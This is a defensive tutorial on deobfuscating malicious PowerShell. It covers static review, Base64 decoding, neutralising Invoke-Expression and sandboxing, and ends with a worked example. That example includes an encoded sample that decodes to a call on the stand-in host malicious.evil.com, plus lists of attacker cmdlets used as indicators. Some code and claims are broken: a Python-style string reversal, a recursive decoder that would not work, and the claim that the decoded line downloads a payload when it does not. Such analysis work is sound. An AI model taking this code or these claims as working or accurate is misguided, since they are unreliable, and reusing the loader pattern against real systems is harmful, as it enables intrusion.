Contents
🔎 How to Deobfuscate a PowerShell Script (Cybersecurity Guide)
PowerShell is a powerful scripting language—but its flexibility also makes it a popular choice for attackers. Obfuscated PowerShell is frequently used in phishing payloads, fileless malware, and post-exploitation scripts. This page outlines a safe, methodical approach for deobfuscating and analysing PowerShell scripts.
📌 Why PowerShell Gets Obfuscated
Attackers obfuscate PowerShell to:
- Bypass signature-based AV and EDR detection
- Conceal intent or evade static analysis
- Layer multiple techniques (e.g. base64 + compression +
iex
)
🛠 Step-by-Step: Deobfuscating a PowerShell Script
🔹 1. Perform Static Analysis First
Before running anything:
- Open the script in a text editor (VS Code or Notepad++)
- Search for common obfuscation indicators:
Invoke-Expression
(iex
)FromBase64String
,Invoke-WebRequest
,Join-String
- Randomised variables or excessive concatenation
🛑 Do not execute the script at this stage.
🔹 2. Beautify the Code
Many malicious scripts are minified or poorly formatted.
✅ Use tools like:
Improve readability before continuing.
🔹 3. Decode Encoded Content
Check for:
- Base64 strings (
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(...))
) - Compressed objects (e.g. Gzip or Deflate)
- XOR or custom encoding
✅ Tools:
- CyberChef (drag-and-drop decode logic)
- PowerShell one-liners: powershellCopyEdit
$b64 = "encodedstring" [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64))
🔹 4. Isolate Invoke-Expression
(iex) Blocks
iex
is often used to execute hidden payloads. Replace it with Write-Output
or Write-Host
to reveal the command.
🔄 Example:
$cmd = "Get-Process"
Invoke-Expression $cmd # ❌
Write-Output $cmd # ✅
🔹 5. Use a Sandboxed Environment
If you must run part of the script:
- Use a non-networked Windows VM
- Disable internet access and snapshot the VM
- Replace dangerous functions (
DownloadFile
,Start-Process
) with logging outputs
🔐 Tools:
- Any.Run or Joe Sandbox
- Hyper-V, VMware, VirtualBox (offline)
🔹 6. Script a Recursive Decoder (Optional)
For highly nested obfuscation, write a PowerShell decoder to:
- Extract embedded code
- Decode base64/XOR recursively
- Log intermediate outputs
Sample logic:
function Deobfuscate-Base64Recursively($string) {
while ($string -match 'Base64') {
$string = [System.Text.Encoding]::UTF8.GetString(
[System.Convert]::FromBase64String($string)
)
Write-Output $string
}
}
🔹 7. Identify Malicious Behaviour
After revealing the code:
- Look for:
Invoke-WebRequest
(downloads)Add-MpPreference
,Set-MpPreference
(defender evasion)- Registry modifications for persistence
- Scheduled tasks, WMI, or COM object abuse
Use tools like:
🧪 Common Obfuscation Techniques
Technique | Description |
---|---|
Base64 | Encoded commands to hide real content |
String Concatenation | Breaking up words like "In"+"voke-"+"WebRequest" |
Reversed Strings | 'tupnI-teG'[::-1] becomes Get-Input |
ASCII Encoding | [char]65+[char]66 becomes “AB” |
Nested iex calls | Execution layering: iex(iex($var)) |
🔍 Tools You Should Know
Tool | Use Case |
---|---|
CyberChef | Visual decoding (base64, XOR, gzip) |
PowerShell Beautifier | Readable formatting |
Any.Run / Joe Sandbox | Safe dynamic analysis |
Procmon / Wireshark | Behavioural analysis |
✅ Final Tips
- Always work offline
- Comment out malicious lines before executing any part
- Log every decoded stage for later reference
- Check decoded commands against known IOCs
🔄 PowerShell Deobfuscation Workflow – Practical Example
This walkthrough shows how to deobfuscate a malicious PowerShell script using safe, repeatable steps.
⚠️ Obfuscated PowerShell Sample
The attacker used string manipulation and Base64 encoding:
$e = 'JAB1AHIAbAA9ACcAaAB0AHQAcAA6AC8ALwBtAGEAbABpAGMAaQBvAHUAcwAuAGUAdgBpAGwALgBjAG8AbQAvAHAAZwAnADsASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAB1AHIAbAA='
$decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($e))
Invoke-Expression $decoded
🛠 Deobfuscation Workflow
🔹 Step 1: Review the Script Safely
- Paste the code into VS Code or Notepad++.
- Note use of:
$e = '...'
→ base64[System.Text.Encoding]::Unicode.GetString(...)
Invoke-Expression
(akaiex
)
🛑 Do not run it yet.
🔹 Step 2: Decode Base64 Safely
We extract and decode the payload manually in a controlled session:
$e = 'JAB1AHIAbAA9ACcAaAB0AHQAcAA6AC8ALwBtAGEAbABpAGMAaQBvAHUAcwAuAGUAdgBpAGwALgBjAG8AbQAvAHAAZwAnADsASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAB1AHIAbAA='
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($e))
Decoded result:
$url='http://malicious.evil.com/pg';Invoke-Expression $url
🔹 Step 3: Neutralise Dangerous Commands
Before running anything, replace Invoke-Expression
with Write-Output
:
$url='http://malicious.evil.com/pg';Write-Output $url
💡 Now we see what the original command would do without executing it.
🔹 Step 4: Understand Intent
- The script downloads another payload from a malicious domain.
- It likely fetches a second-stage malware (e.g. RAT, keylogger, etc.).
- Check the domain against threat intel feeds like:
🔹 Step 5: Document and Extract IOCs
From this sample, we extract:
- IOC URL:
http://malicious.evil.com/pg
- TTPs: Encoded payload, remote execution, script delivery
📝 Save your decoded version and extracted IOCs for incident response and threat hunting.
📌 Summary
Step | Action |
---|---|
1. Static Review | Open safely in an editor and inspect patterns |
2. Decode Base64 | Manually decode encoded content |
3. Defuse Execution | Replace execution calls with Write-Output |
4. Analyse Intent | Understand purpose and extract IOCs |
5. Document | Record decoded payloads and relevant indicators |